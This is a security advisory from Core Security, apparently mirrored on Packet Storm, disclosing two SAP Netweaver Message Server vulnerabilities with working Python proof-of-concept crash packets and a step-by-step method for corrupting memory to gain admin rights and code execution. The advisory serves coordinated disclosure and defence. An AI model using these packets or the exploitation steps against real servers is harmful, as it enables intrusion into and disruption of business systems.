SAP Netweaver Message Server Buffer Overflow

2013-02-15T00:00:00
ID PACKETSTORM:120350
Type packetstorm
Reporter Core Security Technologies
Modified 2013-02-15T00:00:00

Description

                                        
                                            `Core Security - Corelabs Advisory  
http://corelabs.coresecurity.com/  
  
CORE-2012-1128  
  
  
1. *Advisory Information*  
  
Title: SAP Netweaver Message Server Multiple Vulnerabilities  
Advisory ID: CORE-2012-1128  
Advisory URL:  
http://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities  
Date published: 2013-02-13  
Date of last update: 2013-02-13  
Vendors contacted: SAP  
Release mode: Coordinated release  
  
  
  
2. *Vulnerability Information*  
  
Class: Improper Validation of Array Index [CWE-129], Buffer overflow  
[CWE-119]  
Impact: Code execution, Denial of service  
Remotely Exploitable: Yes  
Locally Exploitable: No  
CVE Name: CVE-2013-1592, CVE-2013-1593  
  
  
  
3. *Vulnerability Description*  
  
SAP Netweaver [1] is a technology platform for building and integrating  
SAP business applications. Multiple vulnerabilities have been found in  
SAP Netweaver that could allow an unauthenticated remote attacker to  
execute arbitrary code and lead to denial of service conditions. The  
vulnerabilities are triggered sending specially crafted SAP Message  
Server packets to remote TCP ports 36NN and/or 39NN (being NN the SAP  
system number) of a host running the 'Message Server' service, part of  
SAP Netweaver Application Server ABAP. By sending different messages,  
the different vulnerabilities can be triggered.  
  
  
4. *Vulnerable packages*  
  
. SAP Netweaver 2004s (msg_server.exe version v6400.61.11.10122)  
. SAP Netweaver 7.01 SR1 (msg_server.exe version v7010.29.15.58313)  
. SAP Netweaver 7.02 SP06 (msg_server.exe version v7200.70.18.23869)  
. SAP Netweaver 7.30 SP04 (msg_server.exe version v7200.201.0.0)  
. Older versions are probably affected too, but they were not checked.  
  
5. *Non-vulnerable packages*  
  
. Vendor did not provide this information.  
  
6. *Vendor Information, Solutions and Workarounds*  
  
SAP released the security note 1800603 [2] regarding these issues.  
Contact SAP for further information.  
  
  
7. *Credits*  
  
Vulnerability [CVE-2013-1592] was discovered by Martin Gallo and  
Francisco Falcon, and additional research was performed by Francisco  
Falcon. Vulnerability [CVE-2013-1593] was discovered and researched by  
Martin Gallo from Core Security Consulting Services. The publication of  
this advisory was coordinated by Fernando Miranda from Core Advisories  
Team.  
  
  
8. *Technical Description / Proof of Concept Code*  
  
The following python script is the main PoC that can be used to  
reproduce all vulnerabilities described below:  
  
/-----  
import socket, struct  
from optparse import OptionParser  
  
# Parse the target options  
parser = OptionParser()  
parser.add_option("-d", "--hostname", dest="hostname", help="Hostname",  
default="localhost")  
parser.add_option("-p", "--port", dest="port", type="int", help="Port  
number", default=3900)  
(options, args) = parser.parse_args()  
  
client_string = '-'+' '*39  
server_name = '-'+' '*39  
  
def send_packet(sock, packet):  
packet = struct.pack("!I", len(packet)) + packet  
sock.send(packet)  
  
def receive(sock):  
length = sock.recv(4)  
(length, ) = struct.unpack("!I", length)  
data = ""  
while len(data)<length:  
data+= sock.recv(length)  
return (length, data)  
  
def initialize_connection(hostname, port):  
  
# Connect  
print "[*] Connecting to", hostname, "port", port  
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
connection.connect((hostname, port))  
  
# Send initialization packet  
print "[*] Conected, sending login request"  
  
init = '**MESSAGE**\x00' # eyecatcher  
init+= '\x04' # version  
init+= '\x00' # errorno  
init+= client_string # toname  
init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #  
msgtype/reserved/key  
init+= '\x01\x08' # flag / iflag (MS_LOGIN_2)  
init+= client_string # fromname  
init+= '\x00\x00' # padd  
send_packet(connection, init)  
  
# Receive response  
print "[*] Receiving login reply"  
(length, data) = receive(connection)  
  
# Parsing login reply  
server_name = data[4+64:4+64+40]  
  
return connection  
  
# Main PoC body  
connection = initialize_connection(options.hostname, options.port)  
send_attack(connection)  
  
-----/  
  
  
In the following subsections, we give the python code that can be added  
after the script above in order to reproduce all vulnerabilities.  
  
  
8.1. *SAP Netweaver Message Server _MsJ2EE_AddStatistics Vulnerability*  
  
[CVE-2013-1592] The vulnerability can be triggered when SAP Netweaver  
'msg_server.exe' module processes a specially crafted network packet  
containing a request with 'iflag' value 0x0c  
'MS_J2EE_SEND_TO_CLUSTERID', or 0x0d 'MS_J2EE_SEND_BROADCAST'. Malicious  
packets are processed by the vulnerable function '_MsJ2EE_AddStatistics'  
in the 'msg_server.exe' module. This vulnerability might allow a remote,  
unauthenticated attacker to execute arbitrary code with the privileges  
of the user running the 'Message Server' service or conduct a denial of  
service attack against the vulnerable systems.  
  
The vulnerable function '_MsJ2EE_AddStatistics' receives a pointer to a  
'MSJ2EE_HEADER' struct as its third parameter, which is fully controlled  
by the attacker. This struct type is defined as follows:  
  
/-----  
00000000 MSJ2EE_HEADER struct ; (sizeof=0x28, standard type)  
00000000 senderclusterid dd ?  
00000004 clusterid dd ?  
00000008 serviceid dd ?  
0000000C groupid dd ?  
00000010 nodetype db ?  
00000011 db ? ; undefined  
00000012 db ? ; undefined  
00000013 db ? ; undefined  
00000014 totallength dd ?  
00000018 currentlength dd ?  
0000001C currentoffset dd ?  
00000020 totalblocks db ?  
00000021 currentblock db ?  
00000021  
00000022 db ? ; undefined  
00000023 db ? ; undefined  
00000024 messagetype dd ?  
00000028 MSJ2EE_HEADER ends  
-----/  
The '_MsJ2EE_AddStatistics' function uses the 'serviceid' field of the  
'MSJ2EE_HEADER' to calculate an index to write into the  
'j2ee_stat_services' global array, without properly validating that the  
index is within the boundaries of the array. On the other hand,  
'j2ee_stat_services' is a global array of 256 elements of type  
'MSJ2EE_STAT_ELEMENT':  
  
/-----  
.data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256]  
.data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>)  
.data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o  
.data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ...  
  
-----/  
This vulnerability can be used to corrupt arbitrary memory with  
arbitrary values, with some restrictions. The following snippet shows  
the vulnerable code within the '_MsJ2EE_AddStatistics' function:  
  
/-----  
mov edi, [ebp+pJ2eeHeader]  
mov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker  
controls MSJ2EE_HEADER.serviceid  
xor ecx, ecx  
cmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx  
lea esi, [eax+eax*8]  
lea esi, j2ee_stat_services.totalMsgCount[esi*8] ;using the index  
without validating array bounds  
  
-----/  
Since the 'serviceid' value is first multiplied by 9 and then it is  
multiplied by 8, the granularity of the memory addresses that can be  
targeted for memory corruption is 0x48 bytes, which is the size of the  
'MSJ2EE_STAT_ELEMENT' struct:  
  
/-----  
00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type)  
00000000 ; XREF:  
.data:j2ee_stat_totalr  
00000000 ; .data:j2ee_stat_servicesr  
00000000 totalMsgCount dq ? ; XREF:  
_MsJ2EE_AddStatistics+1Br  
00000000 ;  
_MsJ2EE_AddStatistics+2Fr ...  
00000008 totalMsgLength dq ? ; XREF:  
_MsJ2EE_AddStatistics+192r  
00000008 ;  
_MsJ2EE_AddStatistics+19Br ...  
00000010 avgMsgLength dq ? ; XREF:  
_MsJ2EE_AddStatistics+1C2w  
00000010 ;  
_MsJ2EE_AddStatistics+1C7w ...  
00000018 maxLength dq ? ; XREF:  
_MsJ2EE_AddStatistics+161r  
00000018 ;  
_MsJ2EE_AddStatistics+16Er ...  
00000020 noP2PMessage dq ? ; XREF:  
_MsJ2EE_AddStatistics:loc_44D442w  
00000020 ;  
_MsJ2EE_AddStatistics+158w ...  
00000028 noP2PRequest dq ? ; XREF:  
_MsJ2EE_AddStatistics+144w  
00000028 ;  
_MsJ2EE_AddStatistics+14Aw ...  
00000030 noP2PReply dq ? ; XREF:  
_MsJ2EE_AddStatistics+132w  
00000030 ;  
_MsJ2EE_AddStatistics+138w ...  
00000038 noBroadcastMessage dq ? ; XREF:  
_MsJ2EE_AddStatistics:loc_44D40Dw  
00000038 ;  
_MsJ2EE_AddStatistics+123w ...  
00000040 noBroadcastRequest dq ? ; XREF:  
_MsJ2EE_AddStatistics+10Fw  
00000040 ;  
_MsJ2EE_AddStatistics+115w ...  
00000048 MSJ2EE_STAT_ELEMENT ends  
  
-----/  
However, it is possible to use different combinations of the  
'flag/iflag' values in the Message Server packet to gain more precision  
over the memory addresses that can be corrupted. Different combinations  
of 'flag/iflag' values provide different memory corruption primitives,  
as shown below:  
  
/-----  
At this point:  
* ESI points to an arbitrary, attacker-controlled memory address  
* EBX == 1  
  
.text:0044D359 movzx eax, [ebp+msiflag]  
.text:0044D35D sub eax, 0Ch  
.text:0044D360 jz short loc_44D37C  
.text:0044D362 sub eax, ebx  
.text:0044D364 jnz short loc_44D39D  
.text:0044D366 cmp [ebp+msflag], 2  
.text:0044D36A jnz short loc_44D374  
.text:0044D36C add [esi+40h], ebx ; iflag=0xd,  
flag=2 => add 1 to [esi+0x40]  
.text:0044D36F adc [esi+44h], ecx  
.text:0044D372 jmp short loc_44D39D  
.text:0044D374 ;  
---------------------------------------------------------------------------  
.text:0044D374  
.text:0044D374 loc_44D374: ; CODE XREF:  
_MsJ2EE_AddStatistics+7Aj  
.text:0044D374 add [esi+38h], ebx ; iflag=0xd,  
flag=1 => add 1 to [esi+0x38]  
.text:0044D377 adc [esi+3Ch], ecx  
.text:0044D37A jmp short loc_44D39D  
.text:0044D37C ;  
---------------------------------------------------------------------------  
.text:0044D37C  
.text:0044D37C loc_44D37C: ; CODE XREF:  
_MsJ2EE_AddStatistics+70j  
.text:0044D37C mov al, [ebp+msflag]  
.text:0044D37F cmp al, 3  
.text:0044D381 jnz short loc_44D38B  
.text:0044D383 add [esi+30h], ebx ; iflag=0xc,  
flag=3 => add 1 to [esi+0x30]  
.text:0044D386 adc [esi+34h], ecx  
.text:0044D389 jmp short loc_44D39D  
.text:0044D38B ;  
---------------------------------------------------------------------------  
.text:0044D38B  
.text:0044D38B loc_44D38B: ; CODE XREF:  
_MsJ2EE_AddStatistics+91j  
.text:0044D38B cmp al, 2  
.text:0044D38D jnz short loc_44D397  
.text:0044D38F add [esi+28h], ebx ; iflag=0xc,  
flag=2 => add 1 to [esi+0x28]  
.text:0044D392 adc [esi+2Ch], ecx  
.text:0044D395 jmp short loc_44D39D  
.text:0044D397 ;  
---------------------------------------------------------------------------  
.text:0044D397  
.text:0044D397 loc_44D397: ; CODE XREF:  
_MsJ2EE_AddStatistics+9Dj  
.text:0044D397 add [esi+20h], ebx ; iflag=0xc,  
flag=1 => add 1 to [esi+0x20]  
.text:0044D39A adc [esi+24h], ecx  
  
[...]  
  
-----/  
And the following code excerpt is always executed within the  
'_MsJ2EE_AddStatistics' function, providing two more memory corruption  
primitives:  
  
/-----  
.text:0044D3B7 add [esi],  
ebx ;add 1 to [esi]  
.text:0044D3B9 adc dword ptr [esi+4], 0  
.text:0044D3BD mov eax,  
[edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully  
controlled by the attacker  
.text:0044D3C0 cdq  
.text:0044D3C1 add [esi+8],  
eax ;add an arbitrary number to [esi+8]  
  
-----/  
This memory corruption vulnerability can be used by remote  
unauthenticated attackers to execute arbitrary code on vulnerable  
installations of SAP Netweaver, but it can also be abused to modify the  
internal state of the vulnerable service in order to gain administrative  
privileges within the SAP Netweaver Message Server.  
  
A client connected to the Message Server may have administrative  
privileges or not. The Message Server holds a structure of type  
'MSADM_s' for each connected client, which contains information about  
that very connection. Relevant parts of the 'MSADM_s' struct type are  
shown below:  
  
/-----  
00000000 MSADM_s struc ; (sizeof=0x538, standard type)  
00000000 ; XREF: .data:dummy_clientr  
00000000 client_type dd ? ; enum MS_CLIENT_TYPE  
00000004 stat dd ? ; enum MS_STAT  
00000008 connection_ID dd ?  
0000000C status db ?  
0000000D dom db ? ; XREF: MsSFillCon+3Cw  
0000000E admin_allowed db ?  
0000000F db ? ; undefined  
00000010 name dw 40 dup(?)  
[...]  
00000534 _padding db 4 dup(?)  
00000538 MSADM_s ends  
  
-----/  
The 'admin_allowed' field at offset 0x0E is a boolean value that  
indicates whether the connected client has administrative privileges or  
not. When a new client connects, the 'MsSLoginClient' function of the  
Message Server sets the proper value for the 'admin_allowed' field in  
the 'MSADM_s' struct instance associated with that client:  
  
/-----  
.text:004230DC  
loc_4230DC: ; CODE  
XREF: MsSLoginClient+AAAj  
.text:004230DC  
; MsSLoginClient+B26j  
.text:004230DC cmp byte ptr [edi+0Eh],  
0 ; privileged client?  
.text:004230E0 jnz short  
loc_4230EA ; if yes, jump  
.text:004230E2 mov al, byte ptr  
ms_admin_allowed ; otherwise, grab the value of the  
"ms_admin_allowed" global variable...  
.text:004230E7 mov [edi+0Eh],  
al ; ...and save it to MSADM_s.admin_allowed  
  
-----/  
So if we manage to overwrite the value of the 'ms_admin_allowed' global  
variable with a value different than 0, then we can grant administrative  
privileges to our unprivileged connections. In SAP Netweaver  
'msg_server.exe' v7200.70.18.23869, the 'ms_admin_allowed' global  
variable is located at '0x008f17f0':  
  
/-----  
.data:008F17F0 ; int ms_admin_allowed  
.data:008F17F0 ms_admin_allowed dd ? ; DATA XREF:  
MsSSetMonitor+7Ew  
.data:008F17F0 ; MsSLoginClient+B62r  
  
-----/  
And the 'j2ee_stat_services' global array, which is the array that can  
be indexed outside its bounds, is located at '0x0090b9e0':  
  
/-----  
.data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256]  
.data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>)  
.data:0090B9E0 ; DATA XREF:  
_MsJ2EE_AddStatistics+24o  
.data:0090B9E0 ;  
_MsJ2EE_AddStatistics+4Co ...  
  
-----/  
So, by providing 'MSJ2EE_HEADER.serviceid == 0x038E3315', we will be  
targeting '0x008F17C8' as the base address for memory corruption. Having  
in mind the different memory corruption primitives based on combinations  
of 'flag/iflag' fields described above, by specifying 'iflag == 0xC' and  
'flag == 0x2' in our Message Server packet we will be able to add 1 to  
'[0x008F17C8+0x28]', effectively overwriting the contents of  
'0x008F17F0' ('ms_admin_allowed'). After overwriting 'ms_admin_allowed',  
all of our future connections will have administrative privileges within  
the Message Server.  
  
After gaining administrative privileges for our future connections,  
there are at least two possible paths of exploitation:  
  
1. Gain remote code execution by overwriting function pointers. Of  
course it is not mandatory to have administrative privileges in order to  
overwrite function pointers, but considering the limitation of  
targetable addresses imposed by the little granularity of the memory  
corruption, some of the most handy-to-exploit function pointers happened  
to be accessible just for administrative connections.  
2. Modify the configuration and behavior of the server. That includes  
changing Message Server's runtime parameters and enabling Monitor Mode  
in the affected server.  
  
8.1.1. *Gaining remote code execution by overwriting function pointers*  
  
Having in mind that the granularity of the memory addresses that can be  
targeted for memory corruption is not that flexible (0x48 bytes) and the  
limited memory corruption primitives available, it takes some effort to  
find a function pointer that can be overwritten with a useful value and  
which can be later triggered with a network packet.  
  
One possibility is to overwrite one of the function pointers which are  
in charge of handling the modification of Message Server parameters:  
  
/-----  
.data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58]  
  
; function pointers associated to the modification of the "ms/max_sleep"  
parameter  
.data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER  
<offset aMsMax_sleep, \  
.data:0087DED0 offset  
MsSTestInteger, \ ; "rdisp/TRACE_PATTERN_2"  
.data:0087DED0 offset  
MsSSetMaxSleep>  
  
; function pointers associated to the modification of the "ms/max_vhost"  
parameter  
.data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER <offset  
aMsMax_vhost, \  
.data:0087DED0 offset  
MsSTestInteger, \ ;<-- we can overwrite this one  
.data:0087DED0 offset  
MsSSetMaxVirtHost>  
  
[...]  
  
-----/  
By providing 'MSJ2EE_HEADER.serviceid == 0x038E1967' we can target  
'0x0087DED8' as the base address for memory corruption. In this case we  
can use the memory corruption primitive at address '0x0044D3C1' that  
always gets executed, which will allow us to add an arbitrary number  
(the value of 'MSJ2EE_HEADER.totallength') to '[0x0087DED8+8]'  
effectively overwriting the function pointer shown above  
('ms_changeable_parameter[1].set').  
  
After that we need to send a 'MS_SET_PROPERTY' request, specifying  
'ms/max_vhost' as the name of the property to be changed. This  
'MS_SET_PROPERTY' packet will make our overwritten function pointer to  
be called from the 'MsSChangeParam' function:  
  
/-----  
.text:00404DB3 loc_404DB3: ; CODE XREF:  
MsSChangeParam+CDj  
.text:00404DB3 lea esi, [edi+edi*2]  
.text:00404DB6 mov edi, [ebp+pvalue]  
.text:00404DB9 add esi, esi  
.text:00404DBB mov edx,  
ms_changeable_parameter.test[esi+esi]  
.text:00404DC2 add esi, esi  
.text:00404DC4 push edi  
.text:00404DC5 push pname  
.text:00404DC6 call edx ; call our  
overwritten function pointer  
  
-----/  
'MS_SET_PROPERTY' packets will be ignored by the Message Server if the  
requesting client does not have administrative privileges, so it is  
necessary to gain administrative privileges as explained above before  
using the memory corruption vulnerability to overwrite one of the  
function pointers in the 'ms_changeable_parameter' global array.  
  
  
8.1.2. *Modify the configuration and behavior of the server*  
  
After gaining administrative privileges for our connections, it is  
possible to perform 'MS_SET_PROPERTY' packets against the Message Server  
in order to modify its configuration and behavior. That makes possible,  
for example, to add virtual hosts to the load balancer, or to enable  
Monitor Mode [3] (transaction SMMS) on the affected server. Enabling  
Monitor Mode takes two steps:  
  
1. Send a 'MS_SET_PROPERTY' packet with property 'name ==  
"ms/monitor"', property 'value == 1'.  
2. Send a 'MS_SET_PROPERTY' packet with property 'name ==  
"ms/admin_port"', property 'value == 3535' (or any other arbitrary port  
number).  
After sending the second 'MS_SET_PROPERTY' packet, the SAP Netweaver  
Message Server will start listening on the specified port, waiting for  
connections from instances of the msmon.exe monitoring program [4].  
  
The following python code can be used to trigger the vulnerability:  
  
/-----  
def send_attack(connection):  
print "[*] Sending crash packet"  
crash = '**MESSAGE**\x00' # eyecatcher  
crash+= '\x04' # version  
crash+= '\x00' # errorno  
crash+= server_name # toname  
crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #  
msgtype/reserved/key  
crash+= '\x04\x0d' # flag/iflag  
crash+= client_string # fromname  
crash+= '\x00\x00' # padd  
  
crash+=  
"ABCDEFGH"+"\x01\x00\x00\x00"+"MNOPQRSTUVWXYZ0123"+"\x01"+"56789abcd"  
crash+= "\x00\x00\x00\x01"  
crash+= "\xff\xff\xff\xff"  
crash+= "\x00\x00\x00\x00"  
send_packet(connection, crash)  
  
print "[*] Crash sent !"  
-----/  
  
  
  
8.2. *SAP Netweaver Message Server WRITE_C Vulnerability*  
  
[CVE-2013-1593] The vulnerability can be triggered when SAP Netweaver  
'msg_server.exe' module process a specially crafted network packet  
containing a request with administrative opcode 0x15 'AD_RZL_STRG'.  
Malicious packets are processed by the vulnerable function 'WRITE_C' in  
the 'msg_server.exe' module. This vulnerability could allow a remote,  
unauthenticated attacker to conduct a denial of service attack against  
the vulnerable systems.  
  
The following python code can be used to trigger the vulnerability:  
  
/-----  
def send_attack(connection):  
print "[*] Sending crash packet"  
crash = '**MESSAGE**\x00' # eyecatcher  
crash+= '\x04' # version  
crash+= '\x00' # errorno  
crash+= server_name # toname  
crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #  
msgtype/reserved/key  
crash+= '\x04\x05' # flag/iflag  
crash+= client_string # fromname  
crash+= '\x00\x00' # padd  
  
crash+= "AD-EYECATCH\x00"  
crash+= "\x01\x01"  
crash+= "%11d" % 104  
crash+= "%11d" % 1  
crash+= "\x15\x00\x00\x00"  
crash+= "\x20\x00\x00\xc8"  
crash+= "LALA" + ' '*(20-4)  
crash+= "LOLO" + ' '*(40-4)  
crash+= " "*36  
send_packet(connection, crash)  
  
print "[*] Crash sent !"  
  
-----/  
  
  
  
9. *Report Timeline*  
. 2012-12-10:  
Core Security Technologies notifies the SAP team of the vulnerability,  
setting the estimated publication date of the advisory for January 22nd,  
2013.  
  
. 2012-12-10:  
Core sends an advisory draft with technical details and a PoC.  
  
. 2012-12-11:  
The SAP team confirms the reception of the issue.  
  
. 2012-12-21:  
SAP notifies that they concluded the analysis of the reported issues and  
confirms two out of the five vulnerabilities. Vendor also notifies that  
the other three reported issues were already fixed in February, 2012.  
Vendor also notifies that the necessary code changes are being done and  
extensive tests will follow. The corresponding security note and patches  
are planned to be released on the Security Patch Day in Feb 12th 2013.  
  
. 2012-12-21:  
Core re-schedules the advisory publication for Feb 12th, 2013.  
  
. 2012-12-28:  
SAP notifies Core that they will be contacted if tests fails in order to  
re-schedule the advisory publication.  
  
. 2013-01-22:  
First release date missed.  
  
. 2013-01-28:  
SAP notifies that they are still confident with releasing a security  
note and patches on Feb 12th as planned.  
  
. 2013-01-29:  
Core acknowledges receiving the information and notifies that everything  
is ready for public disclosing on Feb 12th. Core also asks additional  
information regarding the patched vulnerabilities mentioned in  
[2012-12-21], including links to security bulletin, CVEs, and patches in  
order to verify if those patches effectively fix the reported flaws.  
  
. 2013-02-01:  
SAP notifies that the patched vulnerabilities mentioned in [2012-12-21]  
were reported in [5] and no CVE were assigned to them. Those  
vulnerabilities seems to be related to ZDI advisories [6], [7], [8].  
  
. 2013-02-06:  
Core notifies that the patched vulnerabilities will be removed from the  
advisory and asks additional information regarding the affected and  
patched version numbers.  
  
. 2013-02-01:  
SAP notifies that the security note 1800603 will be released and that  
note will provide further information regarting this vulnerability.  
  
. 2013-02-13:  
Advisory CORE-2012-1128 published.  
  
  
10. *References*  
  
[1] http://www.sap.com/platform/netweaver/index.epx.  
[2] SAP Security note Feb 2013  
https://service.sap.com/sap/support/notes/1800603.  
[3]  
http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm.  
  
[4]  
http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm.  
  
[5] SAP Security notes Feb 2012  
https//service.sap.com/sap/support/notes/1649840.  
[6] http://www.zerodayinitiative.com/advisories/ZDI-12-104/.  
[7] http://www.zerodayinitiative.com/advisories/ZDI-12-111/.  
[8] http://www.zerodayinitiative.com/advisories/ZDI-12-112/.  
  
  
11. *About CoreLabs*  
  
CoreLabs, the research center of Core Security Technologies, is charged  
with anticipating the future needs and requirements for information  
security technologies. We conduct our research in several important  
areas of computer security including system vulnerabilities, cyber  
attack planning and simulation, source code auditing, and cryptography.  
Our results include problem formalization, identification of  
vulnerabilities, novel solutions and prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
http://corelabs.coresecurity.com.  
  
  
12. *About Core Security Technologies*  
  
Core Security Technologies enables organizations to get ahead of threats  
with security test and measurement solutions that continuously identify  
and demonstrate real-world exposures to their most critical assets. Our  
customers can gain real visibility into their security standing, real  
validation of their security controls, and real metrics to more  
effectively secure their organizations.  
  
Core Security's software solutions build on over a decade of trusted  
research and leading-edge threat expertise from the company's Security  
Consulting Services, CoreLabs and Engineering groups. Core Security  
Technologies can be reached at +1 (617) 399-6980 or on the Web at:  
http://www.coresecurity.com.  
  
  
13. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2012 Core Security  
Technologies and (c) 2012 CoreLabs, and are licensed under a Creative  
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)  
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/  
  
  
14. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
  
  
  
`